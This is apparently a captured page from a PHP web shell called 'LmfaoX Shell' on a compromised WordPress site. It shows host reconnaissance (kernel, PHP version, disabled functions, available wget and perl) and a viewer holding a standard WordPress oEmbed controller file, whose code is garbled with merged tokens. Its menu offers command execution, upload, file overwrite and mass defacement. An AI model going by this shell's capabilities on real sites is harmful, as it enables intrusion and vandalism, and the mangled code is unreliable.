ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.59 GB of 70.42 GB (34.92%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ sdam-objekt.ru/ wp-includes/ - drwxr-xr-x

Directory:
Viewing file:     class-wp-oembed-controller.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * WP_oEmbed_Controller class, used to provide an oEmbed endpoint.
 *
 * @package WordPress
 * @subpackage Embeds
 * @since 4.4.0
 */

/**
 * oEmbed API endpoint controller.
 *
 * Registers the API route and delivers the response data.
 * The output format (XML or JSON) is handled by the REST API.
 *
 * @since 4.4.0
 */
final class WP_oEmbed_Controller {
    
/**
     * Register the oEmbed REST API route.
     *
     * @since 4.4.0
     */
    
public function register_routes() {
        
/**
         * Filter the maxwidth oEmbed parameter.
         *
         * @since 4.4.0
         *
         * @param int $maxwidth Maximum allowed width. Default 600.
         */
        
$maxwidth apply_filters'oembed_default_width'600 );

        
register_rest_route'oembed/1.0''/embed', array(
            array(
                
'methods'  => WP_REST_Server::READABLE,
                
'callback' => array( $this'get_item' ),
                
'args'     => array(
                    
'url'      => array(
                        
'required'          => true,
                        
'sanitize_callback' => 'esc_url_raw',
                    ),
                    
'format'   => array(
                        
'default'           => 'json',
                        
'sanitize_callback' => 'wp_oembed_ensure_format',
                    ),
                    
'maxwidth' => array(
                        
'default'           => $maxwidth,
                        
'sanitize_callback' => 'absint',
                    ),
                ),
            ),
        ) );
    }

    
/**
     * Callback for the API endpoint.
     *
     * Returns the JSON object for the post.
     *
     * @since 4.4.0
     *
     * @param WP_REST_Request $request Full data about the request.
     * @return WP_Error|array oEmbed response data or WP_Error on failure.
     */
    
public function get_item$request ) {
        
$post_id url_to_postid$request['url'] );

        
/**
         * Filter the determined post ID.
         *
         * @since 4.4.0
         *
         * @param int    $post_id The post ID.
         * @param string $url     The requested URL.
         */
        
$post_id apply_filters'oembed_request_post_id'$post_id$request['url'] );

        
$data get_oembed_response_data$post_id$request['maxwidth'] );

        if ( ! 
$data ) {
            return new 
WP_Error'oembed_invalid_url'get_status_header_desc404 ), array( 'status' => 404 ) );
        }

        return 
$data;
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2911 seconds